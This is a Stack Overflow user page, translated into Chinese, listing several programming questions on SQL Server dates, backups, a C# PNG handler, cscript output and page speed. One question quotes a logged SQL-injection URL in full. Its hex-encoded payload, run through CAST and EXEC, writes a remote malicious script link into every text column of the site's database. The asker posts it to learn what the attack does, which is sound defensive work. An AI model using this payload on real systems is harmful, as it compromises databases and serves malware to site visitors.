小编Guy*_*Guy的帖子

将日期字符串与SQL Server中的日期时间进行比较?

在SQL Server中,我有一个DATETIME包含时间元素的列.

例:

'14 AUG 2008 14:23:019'
Run Code Online (Sandbox Code Playgroud)

仅选择特定日期的记录,忽略时间部分的最佳方法是什么?

示例:(不安全,因为它与时间部分不匹配并且不返回任何行)

DECLARE  @p_date DATETIME
SET      @p_date = CONVERT( DATETIME, '14 AUG 2008', 106 )

SELECT *
FROM   table1
WHERE  column_datetime = @p_date
Run Code Online (Sandbox Code Playgroud)

注意:鉴于这个网站也是关于记下你选择的笔记和技术,然后忘记,我将发布我自己的答案,因为MSSQL中的DATETIME东西可能是我在SQLBOL中查找最多的主题.


更新 Clarified示例更具体.


编辑抱歉,但我不得不降低错误的答案(答案返回错误的结果).

@Jorrit:WHERE (date>'20080813' AND date<'20080815')将返回13日和14日.

@wearejimbo:关闭,但没有雪茄!徽章授予你.您错过了在2008年8月14日23:59:001到23:59:999(即午夜前不到1秒)写下的记录.

t-sql database sql-server datetime

42
推荐指数
3
解决办法
23万
查看次数

尝试SQL注入攻击 - 他们试图做什么?

我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:

为清晰起见添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

任何人都可以了解"CAST和EXEC"试图做些什么吗?

sql-server sql-injection

22
推荐指数
4
解决办法
2405
查看次数

使用C#HttpHandler webservice创建PNG图像

我希望能够创建一个简单的PNG图像,比如使用基于ac#web的服务生成图像的红色方块,从<img src="myws.ashx?x=100>HTML元素调用.

一些示例HTML:

<hmtl><body>
     <img src="http://mysite.com/webservice/rectangle.ashx?size=100">
</body></html>
Run Code Online (Sandbox Code Playgroud)

是否有人可以拼凑一个简单的(工作)C#课程来让我入门?一旦关闭和离开,我确信我可以完成这个以实际做我想要它做的事情.

  • 最终游戏是为数据驱动的网页创建简单的红色/琥珀色/绿色(RAG)嵌入状态标记,以显示性能指标等*
  • 我希望它能使用PNG,因为我预计未来会使用透明度*
  • ASP.NET 2.0 C#解决方案请...(我还没有生产3.5的盒子)

TIA

rectangle.html

<html>
<head></head>
<body>
    <img src="rectangle.ashx" height="100" width="200">
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

rectangle.ashx

<%@ WebHandler Language="C#" Class="ImageHandler" %>
Run Code Online (Sandbox Code Playgroud)

rectangle.cs

using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Web;

public class ImageHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        int width = 600; //int.Parse(context.Request.QueryString["width"]);
        int height = 400; //int.Parse(context.Request.QueryString["height"]);

        Bitmap bitmap = new Bitmap(width,height);

        Graphics g = Graphics.FromImage( (Image) bitmap );
        g.FillRectangle( Brushes.Red, 0f, 0f, bitmap.Width, …
Run Code Online (Sandbox Code Playgroud)

c# png web-services image httphandler

13
推荐指数
1
解决办法
3万
查看次数

cscript - 在控制台上的同一行打印输出?

如果我有一个cscript输出到屏幕的行,如何在每次打印后避免"换行"?

例:

for a = 1 to 10
  WScript.Print "."
  REM (do something)
next
Run Code Online (Sandbox Code Playgroud)

预期产量应为:

..........
Run Code Online (Sandbox Code Playgroud)

不:

.
.  
.
.
.
.
.
.
.
.
Run Code Online (Sandbox Code Playgroud)

在过去,我曾经打印过"向上箭头字符"ASCII代码.这可以在cscript中完成吗?

回答

在同一条线上打印,无需额外的CR/LF

for a=1 to 15
  wscript.stdout.write a
  wscript.stdout.write chr(13)
  wscript.sleep 200
next
Run Code Online (Sandbox Code Playgroud)

windows ascii wsh console-application control-characters

9
推荐指数
1
解决办法
2万
查看次数

如何判断是否正在备份SQL Server数据库

有没有办法以编程方式确定当前是否正在特定数据库上执行SQL Server备份?

我们为数据和日志文件提供自动数据库备份脚本,每晚数据库备份数据库,每天24小时每15分钟备份一次日志文件.但是,如果日志文件备份作业在运行完整备份的同时运行,则认为日志文件备份作业失败.

我想要做的是更改我的事务日志脚本,以便在运行完整备份时不运行事务日志备份.

如果有DMV或系统表我可以查询并解决这个问题?

sql-server backup

3
推荐指数
1
解决办法
1万
查看次数

动态生成的网页应该创建多快?

我有一些基于数据驱动的基于Web的应用程序,它们为内部和公共用户提供服务,并希望衡量您希望创建页面的速度(以毫秒为单位),以保持用户满意度和可伸缩性.

那么,创建页面以保持快速站点的速度有多快?

这些站点是用ASP经典开发的,SQL Server后端生成我使用XSLT渲染的XML记录集.不是最有效的技术和页面需要7ms到120ms来创建(即第一行代码和'Response.Write'之间的定时器间隔),具体取决于页面的复杂程度.较慢的页面是由于数据库运行更大和更复杂的查询.即使我将所有ASP经典重写为ASP.NET,整个页面渲染速度也不会有任何显着的改进.

我经常听到杰夫说他希望SO成为最快的网站,他的博客讨论了他的代码和数据库的优化,但你需要在优化代码方面走多远?通过使用StringBuffer而不是String + String来缩短毫秒时间可以充分利用我的时间吗?

[澄清]

在什么时候你开始认为"这个页面创建时间太长了?".是超过20毫秒,超过200毫秒还是一个页面可以接管一秒钟构建?你的"目标时间是多少?"

performance perception

2
推荐指数
1
解决办法
457
查看次数